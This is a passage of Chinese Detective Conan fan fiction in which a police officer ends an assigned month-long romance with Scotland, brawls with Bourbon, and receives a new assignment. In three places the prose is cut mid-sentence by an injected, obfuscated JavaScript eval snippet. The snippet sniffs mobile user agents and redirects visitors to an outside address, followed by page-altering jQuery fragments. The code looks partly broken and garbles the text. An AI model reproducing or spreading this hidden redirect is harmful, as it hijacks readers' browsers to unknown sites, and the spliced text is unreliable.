他以为这是个没用的版块,但飞鸟长官这一个月来偷偷摸摸给这盆花浇水,一之羽青词也一直很在意这盆花的状态,两者放在一起,他很难不多想。 但愿别是策划漏掉的伏笔。 他看了眼天色,火红的夕阳缓缓下沉,他把刚刚记下的车牌号发给交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454616|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通部的熟人,回到刚刚的十字路口往家赶。 听了忍足警官的话,他决定为苏格兰做点什么,剩下的天数已经不多了,来不及准备太多隆重的东西表达爱意,不过准备一些小惊喜提供情绪价值还是绰绰有余的。 他们外出约会的计划大多由他策划,他会综合身边人的反响和推荐择优选择一家最适合的餐厅,也会提前研究特色菜和试吃,但最终苏格兰的反应无一例外都很平淡,并没有出现过想象中的惊喜感。 他知道苏格兰会做饭,并且厨艺大概率不错,既然怎么挑选特色餐厅都中规中矩,那不如趁着最后的机会另辟新径,试试亲手做一顿饭请苏格兰吃,至少把心意传达过去。 他准备从明天起每天准备一份爱心便当,苏格兰经常来找他,他没办法去找苏格兰,那就用便当代替,如果当天苏格兰没来找他,那就当作给自己加餐。 他一定会克制住自己,绝对不会在便当盒上装追踪器的。 回到家,刚打开门,一之羽巡忽然皱了下眉。 他站在门口环视了一周。 ……哪里不太对劲。 说不上来。 有人进来过。 也可能还没离开。 是苏格兰吗? 不,不对。 一之羽巡屏住呼吸,放轻脚步,走向出门时明明开着门此刻却房门紧闭的书房,按住门把手,猛地推开门—— 书房内空无一人。 他快步走进去,门后、窗帘后面连带着窗外也看了,没有异常,最终他的目光被摆在桌面正中央的小东西吸引,快步走过去,顺手从抽屉里拿出手套,小心拿起那样东西。 ——9毫米帕拉贝鲁姆弹,全球最广泛使用的手枪弹种之一。 无数枪型在一之羽巡脑海中迅速滑过:伯/莱/塔M92F、格/洛/克19、西/格/绍/尔P226……太多了,民用军用竞赛用,手枪冲锋枪卡/宾枪,想通过子弹反向推断留下这颗子弹的人使用的是什么枪很难。 有外人闯入却没留下任何多余的痕迹,闯入者一定是一个很谨慎的人,那又为什么会堂而皇之地留下这样一颗子弹? 那个人想用这颗子弹告诉他什么?是威胁还是警告?抑或是其他含义? ……究竟是谁? “一之羽警官,你在家吗?” 一之羽巡下意识把子弹握进掌心,警惕转身,从门口探进头的人一副松了口气的模样,“原来你在家,太好了……你忘记关门啦!” “让你费心了,谢谢。” “都是邻居,太客气了!” 一之羽巡关好门,看了一眼挂在墙上的时钟,距离苏格兰抵达的时间已经不多了。 他把那颗子弹用手帕包起来收进书房的抽屉,决定把苏格兰这边的事搞定再研究。 晚上九点,苏格兰没有赴约。 晚上十点,短信迟迟未回。 一之羽巡坐在餐桌旁思考良久,看着已经凉透的饭菜,觉得便当还是得选方便加热的菜式比较晚好。 晚上十二点,零点整,一之羽巡开始思考,其实便当盒上也可以酌情考虑加上追踪器。 16.016 晨光破开云层之际,一之羽巡终于等来了苏格兰的回信。 【抱歉,临时有事没能赴约,中午我去警察厅见你。】 【不用为这种事道歉的,中午见。】 一之羽巡把手机扔在桌子上,揉了把头发。 其实中午不见也可以,他昨晚没加班,今天的午休时间最好能留出来,不过苏格兰一定要来的话,正好可以把便当和昨晚的礼物送出去。 他伸了个懒腰,在客厅里活动了几下,促进坐了一整晚已经僵硬的四肢的血液流通循环,开始收拾残局。 麻利地把桌子上的菜收拾好,能放冰箱的放冰箱,不能放冰箱的就垃圾分类,给自己做了早餐,顺带给忍足警官做了一份,同时还准备好了给苏格兰的爱心便当。 他习惯一个人生活,独自完成这些事得心应手,如果有另一个人在场他反而容易不适应。 一之羽巡准时出了门。 路上行人不多,车流稀疏,蹲在光秃秃的树枝上的麻雀叽叽喳喳吵闹着。 “一之羽!” 一之羽巡循声望过去,一个熟悉的人影正从不远处大步跑过来。 一之羽巡有些意外:“萩原?” “早,去上班吗?一起走吧。” 绿灯正好亮起,一之羽巡和萩原研二并排穿过斑马线。 一之羽巡随口问:“松田警官呢?” 萩原研二有些郁闷:“你怎么这么关注小阵平?” “我也经常问松田警官你在哪,找不到你的时候去问他,他总是知道。” 一之羽巡看着枝桠上贴在一起的两只小麻雀,笑着解释:“你们两个就像双子星一样,哪一个单独出现都像是缺了点儿什么,下意识就想找找看另外那个在不在附近。” 萩原研二忍不住笑了:“小阵平他还没起呢。” “睡眠质量真不错……” 一月底,天气已经不再过分寒冷,但清晨的空气还是渗着丝丝缕缕的寒气,说话间唇角漫开白雾,又迅速消弭。 一之羽巡配合身旁那人的步伐,略微放慢了脚步。 “虽然这附近住了不少认识的人,不过我还是第一次在路上碰到熟人。” “是啊,真巧,说明我们很有缘分。” 萩原研二表面笑容灿烂,灵魂出窍哈欠连天。要不是上次留宿,谁能想到一之羽巡竟然会提前两个小时去上班,怪不得以前无论走哪条路都偶遇不到,原来根本不是他打开门的方式不对,是打开门的时间不对。 一个人怎么能做到这么发自内心地喜欢上班恨不得把所有时间精力都拿来上班的。 萩原研二悄悄看了一眼身旁的人,又做贼心虚一般快速收回了视线,一副凛然正气的模样。 把一切尽收眼底的一之羽巡:“……?” 自从萩原去大学办宣传讲座那会儿开始,给人的感觉就不太一样了,一时间说不上来哪里不对,一之羽巡也不知道怎么形容更好,最终感叹道:“年轻真好啊。” “你才二十几岁,还有好多时间呢,怎么也说这种话。” 萩原研二转头,一之羽巡望着前方,似乎有些出神,他顺着视线看过去,没发现有什么特别。 “说到年龄,一之羽,你喜欢比你年龄大的类型还是小一点的?”萩原研二暗戳戳夹带私货:“小一岁和同岁差不多。” 一之羽巡回过神:“我没想过这个。两种都好吧,年龄不重要,人对了就行,一定要说的话,我只喜欢我喜欢的人。” 萩原研二感觉胸口猝不及防插了一刀,再次被提醒,这个人已经有喜欢的人了并且喜欢到心甘情愿为对方做出改变,“……好的,我知道了。” “你呢?” ——他好奇我的择偶标准,他果然还是在意我的! 萩原研二极速充电,神采奕奕道:“我也只喜欢我喜欢的人,只想要那一个人。” “我们很默契呢。” 萩原研二瞄着一之羽巡的表情,轻咳一声,小声说:“不过一定要说的话,可能……应该,比我大一岁最好。” “这样吗?我就比你大一岁哦。” 萩原研二的眼睛刹那间迸发出光彩:“一之羽,你——” 一之羽巡:“要我介绍跟我同级的学姐给你认识吗?不过感觉有的人你可能比我熟。” 萩原研二笑容僵住,仿佛整个人被抽干了灵魂,有气无力道:“不用了,我现在还是更想把精力花在工作上……” 身旁的人沉默了一会儿,再次开口:“工作固然重要,不过也不要忽略掉身边的人和事,萩原,工作只是人生中很小一部分而已。” 很普通的劝诫,从小到大从很多地方在不同人嘴里听过很多类似的话,但这种话被一心扑在工作上的一之羽巡说出来总是显得有些违和。 最终,萩原研二只能在心里含泪告诉自己,一之羽巡恋爱以后,甚至连工作都不放在第一位了。 前一晚没加班,本以为今天节奏要更紧凑一些,隔壁工位的忍足警官看到他桌上的文书帮他处理了部分,说是蹭早餐的答谢。 一之羽巡赶在午休之前把案子搞定提交,带着准备好的东西飞奔出去找苏格兰。 今天是恋爱的最后一天,势必站好最后一班岗,不能出任何差错。 一之羽巡在约好见面的地方等了半个小时,苏格兰迟迟没现身,他干脆给苏格兰发了条短信,去附近的甜品店点了份甜品,坐着继续等。 苏格兰的工作很复杂又危险,临时有事修改计划很正常,他总不至于连这个都不能体谅。 不过最近修改的频率是不是有些高了?他的确不在意苏格兰迟到,但他会在意苏格兰那边的工作是不是出了差错。 一之羽巡单手托着下巴看店外,猜测苏格兰这次会从哪个方向来,苏格兰很谨慎,每次都会选择不同路线。 不远处的店员问:“一之羽警官,我们研发了新品哦,要尝尝看吗?” “又有新品了吗?真厉害啊。”一之羽巡转头笑着说:“麻烦帮我打包一份吧,我带回去吃。” 起身去付钱时,他动作一顿。 甜品店外,一辆熟悉的古董车平稳驶过。 降下的车窗随着行驶缓缓升起,隔着一段距离,看不清车内情景,只能依稀看到后座坐了一个人。 云层散开,阳光洒下来,在车窗彻底闭合前,一之羽巡捕捉到了一抹银色。 很模糊,可能只是错觉,但一之羽巡还是刹那间绷紧肌肉追了出去。 “不用找了!” “一之羽警官——你的蛋糕?!” “我一会儿回来拿!” 一之羽巡站在甜品店门口左右快速看了一遍,结合这一带的地图迅速作出判断,左拐抄小路。 警察厅附近车流稀疏,一些早年间的小路四通八达,只有熟悉周边的人才能摸清,比起拦一辆车去追的成功概率,不如发挥优势取捷径试试。 寂静阴冷的巷子里几乎只有他的呼吸声和奔跑声,隐约能听到汽车引擎声时,一之羽巡再度加快了脚步。 和他猜的一样。 对附近不熟又想太引人注目,果然会选那条路—— 就在即将追出巷子的那一刻,一道陌生的声音猝不及防在身后响起。 “警官,你在找什么啊?” 一之羽巡身体一僵,被迫停下,眼睁睁看着那辆神秘的古董车从巷口驶过。 “我劝你还是不要追下去比较好哦。” 一之羽巡沉着脸,缓缓转身,如他所想,比起人,更先看到的是迎面而来的漆黑的枪口。 失策了,他没带配枪。 悄无声息出现在身后的人拥有一头耀眼的金发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462775|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,深色的皮肤在这个国家极其罕见,灰紫色的眸子流淌着危险的信号,但脸上仍旧笑容灿烂字符人畜无害的模样,语气轻快:“好奇心可是会害死猫的。” 一之羽巡平静道:“那辆车里的人是谁?” 金发青年看起来有些诧异,更多的是无奈:“这种时候,难道不是该先问我是谁吗?” 一之羽巡只是再次重复:“那是谁的车?” “警官,麻烦你搞清楚一点状况,以你现在的处境——喂?!” 好险! 降谷零躲开丝毫不讲情面的横扫连招,后撤几步,但手仍旧稳稳对准对面那人的头。 他在心中暗暗拉高警惕,表面仍旧从容自若:“你还真是不讲道理,真可惜,我认识一个很擅长缴械的人,想卸我的枪你还得再练练。不过看在苏……你识时务的份上,我姑且可以装作今天没见过你,不必太感谢。” 鬼知道这人怎么会盯上琴酒,这可不是什么好玩的事。 要不是他看琴酒任务后走得急不太符合常理,跟踪过来正好撞见,谁知道这家伙还会做出什么事来。 “假装没见过我?谢谢,不过不必了。” 降谷零挑眉:“……哦?” 一之羽巡看着地面,缓缓吐出一口气,活动了一下脖子,抬起头,露出了一个温和的笑容——虽然配上他的脸,那个笑容看着大概率更像挑衅。 “因为我可不准备装作今天没见过你……这位先生,可以让我检查一下你的持枪证吗?” …… “我只是说他缴械没你强又没说他缴械不行,结果他偏让我点评一下他格斗水平,我放了两枪想让他知难而退,他又开始抢枪,一副不把枪缴下来就不罢休的模样……你不是说他很沉稳吗?!” 诸伏景光笑容尴尬,继续低头帮好友处理伤口。 降谷零也没真生气,也就在这位友人面前他才能像这样放纵情绪一二,吐槽结束,他开始说正事:“你一会儿还要去他家打卡?” 诸伏景光点头:“最后一天还是谨慎一些为好,而且已经连着两次爽约了,得当面道歉……还有,他这次跟踪琴酒的事我也有点在意。” “琴酒怎么回事,最近临时给你派任务的频率也太高了,有的事情根本不需要你去做吧。” “还不清楚,我没得罪过他才对。” “莫名奇妙,你接下来小心一些,我帮你查一下。”降谷零不小心牵动了脸上的伤,“嘶”了一声,捂着脸继续说:“……那个一之羽巡,我可没输给他。” “是是……” 诸伏景光很快就知道好友嘴里的自己没输是什么意思。 他看着盯着眼角青一块紫一块的恋人,顿悟了。 ……这两人谁都没输,但谁都没赢。 自己人打自己人,本来就不会有赢家。 “说了很多次了,不要爬窗,很危险。” 一之羽巡一看苏格兰的表情就知道他要说什么,抢先道:“翻阳台也一样!” 诸伏景光:“阳台上的小番茄熟了。” “……这样转移话题未免也太生硬了吧。”一之羽巡起身,“吃晚饭了吗?我去给你份煮宵夜。” “不用,我吃过了。” 虽然说了不用,但一之羽巡还是去打开厨房的灯,从冰箱里翻找起食材。 诸伏景光不确定是不是被对方看穿了自己其实并没吃晚饭。 他站在厨房门口,没进去,看着那个系着围裙的背影,“巡,你今天似乎心情很不错?” “有这么明显吗?”一之羽巡忍不住勾了下唇,不小心牵动了嘴角的伤口,但不影响他用手背按着脸颊继续说:“发现了点儿有趣的东西。” 诸伏景光:“……” 他指的最好不是跟踪琴酒。 也最好别是跟波本打架。 17.017 “别站着了,去沙发休息一下吧,或者去卧室里躺一会儿,我这边很快就弄好。” “我不累。”诸伏景光靠在门框旁,烟火气明明让视线变得模糊,他却觉得让那个人的背影变得更加清晰可见了,他说:“我想在这里看着你。” “好吧好吧。”一之羽巡洗着菜,突然想起什么,转头说:“茶几上有个小盒子,是给你的,你去看看吧。” 诸伏景光原本还在想这是不是把他支走的话术,但回到客厅,茶几上真的放着一个小小的盒子,上面系着条蓝色的丝带,不太像那人一贯的风格。 他小心地拆开丝带,打开盒子,一愣。 一之羽巡的声音从厨房传出来:“是我自己做的,有点粗糙……本来是想找个更正式的场合的。” 一之羽巡把宵夜装盘摆好,迟迟没有等到苏格兰的回应,从厨房门口头探头看了一眼。 苏格兰坐在沙发上,盯着手里的东西发呆,仿佛要把不到巴掌大的盒子看出花来。 ……有那么丑吗? 亲手制作戒指,最初预约的是双人项目,但让苏格兰在警察厅附近的店停留超过两小时实在强人所难,他干脆自己找时间去了一趟。原本是要留作秘密武器,拿来引导苏格兰彻底入戏,但还没等他付诸行动,苏格兰就已经独自把问题解决,这枚戒指自然也就用不上了。 经忍足警官提醒,他想到可以把这枚戒指当成礼物送给苏格兰,稍微弥补自己从未主动去见苏格兰的失职——虽然他完全不理解一枚甚至算不上精致的戒指怎么就有那么大作用,但忍足警官坚持让他送出去。 死马当活马医,奈何苏格兰最近总是有事,仪式感一再被破坏。 现在来看,其实也不是非送不可,不过这个任务已经临近尾声,今晚再不送出去,为了做戒指而被抵扣的两个小时加班时间就失去了意义。 而且他真的觉得这枚戒指做的不错,苏格兰不要的话他可以留着做个挂坠或者钥匙扣。 “苏格兰,来吃饭吧。” 诸伏景光把戒指小心翼翼地放回盒子里,起身时目光还落在那个小盒子上:“你亲手做的……为了我吗?” 一之羽巡把碗筷摆好,头也不抬道:“当然。” 苏格兰一定和他一样觉得这种礼物没什么意义,隔了好一会儿才回答:“谢谢,我很喜欢。” 今晚的宵夜是素面,碗里卧着两个煎蛋,配菜是酱牛肉和一道白灼青菜,卖相很不错,味道同样如此。 诸伏景光自诩厨艺不错,让他来评价的话,一之羽巡的厨艺算是中上,是那种只要有菜谱就可以做出来味道卖相都过关的菜的类型,本身对吃这方面基本没什么经验和特殊心得,但胜在会严格遵守菜谱上的每一个步骤,决不灵机一动之下往锅里多加或少加一味料。 他们吃饭时都很安静,几乎不太说话。起初为了了解不熟悉的恋爱对象,两人都总是刻意挑起话题,聊一些有的没的互相试探,后来都对对方有了一定概念都安静下来,反而感觉距离被拉近了。 吃过宵夜,诸伏景光主动承担了洗碗的工作,转身打开橱柜时,余光中发觉,一之羽巡也像自己刚刚看他煮宵夜时那样靠在厨房门口注视自己。 他的视线触及那张脸上的伤。 他刚到的时候房间里有浅浅的消毒水味,应该才处理完伤口不久。 他知道一之羽巡很擅长做这个,之前按着他帮他处理崩开的伤口时提到过,因为进入警校前没有格斗经验,想方设法提升自己,那段时间受伤就成了家常便饭,也练就了一双擅长处理外伤的手。 微凉的水从指缝划过,冲去碗碟上的泡沫,哗哗的水流声中,诸伏景光听到自己问:“你脸上的伤……?” 背后不远处那人轻描淡写道:“小伤而已,不必在意。” 没留继续问下去的空间。 但涉及组织,他不得不问。 “是在什么工作里伤到的吗?” “算是突发状况。” “突发状况吗?什——” 一道突兀的铃声响起,打断了诸伏景光的声音。 “是我的闹钟。”一之羽巡笑着解释,仿佛松了口气,“零点了。” 诸伏景光点点头,“你刚刚说的突发状况是指……” 一之羽巡再次重复:“过了零点了。” 诸伏景光不解。 一之羽巡自言自语:“果然是体验派啊……” 他走进厨房,在苏格兰困惑的目光中关掉水龙头,提醒:“我们的任务已经结束了,谢谢这段时间的配合,你真的很专业。” 诸伏景光下意识地也回了一句:“你也是,非常感谢。” 他忽略这个插曲,接上刚刚的话题:“所以,你的伤……” “……”一之羽巡摘下眼镜,捏了捏鼻梁。 他挺喜欢这副眼镜的,帮他抵消了不少外貌带来的负面影响,可惜他并不是很喜欢眼镜压着鼻梁的感觉。 但他还是一直戴着,毕竟一个合格的恋人不会敷衍对待一份精挑细选特意送来的礼物。 “任务结束了。”他又说了一遍。 诸伏景光突然反应过来那句话中的提醒之意。 果然,面前那个黑发青年露出了一个微笑,礼貌且疏离:“我想,我现在并没有义务回答你的问题。” “当然,如果你不介意回答我的问题的话,那我很乐意跟你交换情报。开诚布公地讲,其实你知道中午都发生了什么,对吧?” 诸伏景光张了张口,终于找回自己的声音:“你怎么知道的?” 一之羽巡为这位客人递了张纸巾擦手:“否则你见到我的时候,第一反应就会是问我脸上的伤,而不是阳台上的什么小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462776|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番茄了。” 诸伏景光哑然。 他静止了整整半分钟,还是没能把面前这个口吻冷淡的人跟那个从第一面开始就温柔和煦的青年对上号。 他眉头微微蹙起:“这不是你该插手的事,巡。” 话一出口,他又意识到自己没转换过来称呼,道了声歉:“抱歉,一之羽君。” 明明叫错了名字,一之羽巡的表情却和缓了几分,像一位年长者一样轻轻拍了拍他的肩膀。 “名字只是一个代号,用不用敬语无所谓。你真的很专业,这一点上,我对你十分钦佩。” 诸伏景光知道零点后的自己已经无法撬动一之羽巡的嘴,他看着那双墨染黑似的眸子,开口:“……谢谢。一之羽君,你也是。” “阳台上的小番茄熟了,喜欢的话你一会儿可以摘几个。” 一之羽巡的语气很温和,听起来和他第一次来这间公寓时细心嘱咐防止伤口发炎的注意事项时一模一样,“不过要小心,从阳台翻出去的时候,不要碰掉楼下邻居晾的被子。” …… “以上,就是关于这次任务的全部汇报。” 飞鸟长官点头,面露赞赏:“真不愧是一之羽,果然名不虚传。” “您谬赞了。” “接下来有两个新任务交给你。” 一之羽巡眼睛一亮。 触发新任务了?还是两个? 红方首领就是不一样,出手阔绰! “某位卧底搜查官的联络人近期出了问题,现在急需一个能信得过的人手,从能力和立场综合考虑,我觉得你能够胜任这份工作。” “我会尽自己所能。” 等了一会儿,迟迟没等到下文,一之羽巡问:“那第二个任务是?” 飞鸟长官露出了一个古怪的笑容,从抽屉里拿出一张照片,倒扣在桌面上推过来。 熟悉的办公室,熟悉的茶杯,熟悉的红方首领,熟悉的京都宇治特级玉露,熟悉的情景,唯一不同的是,被递到面前的照片上的人变了。 他当然能认出上面那人的脸,但声音还是有些迟疑:“……机动队的松田警官?” 飞鸟长官双手交叉,看起来十分从容,“你们认识,我就不多加介绍了。” 随着那位儒雅的警察厅长官的笑容真切了几分,一之羽巡突然有一种不妙的预感。 “第二个任务是,和松田阵平恋爱一个月。” 办公室内寂静的整整一分钟后,一之羽巡放下松田阵平的照片,由衷感叹:“比起这个任务的缘由,我现在更好奇您是怎么说服松田警官的,我真的很难想象以他的个性会同意配合我执行这个任务。” “你考虑得很周全,确实如此。” 飞鸟长官一脸赞许:“所以他不会配合你,接下来辛苦了。” 一之羽巡:?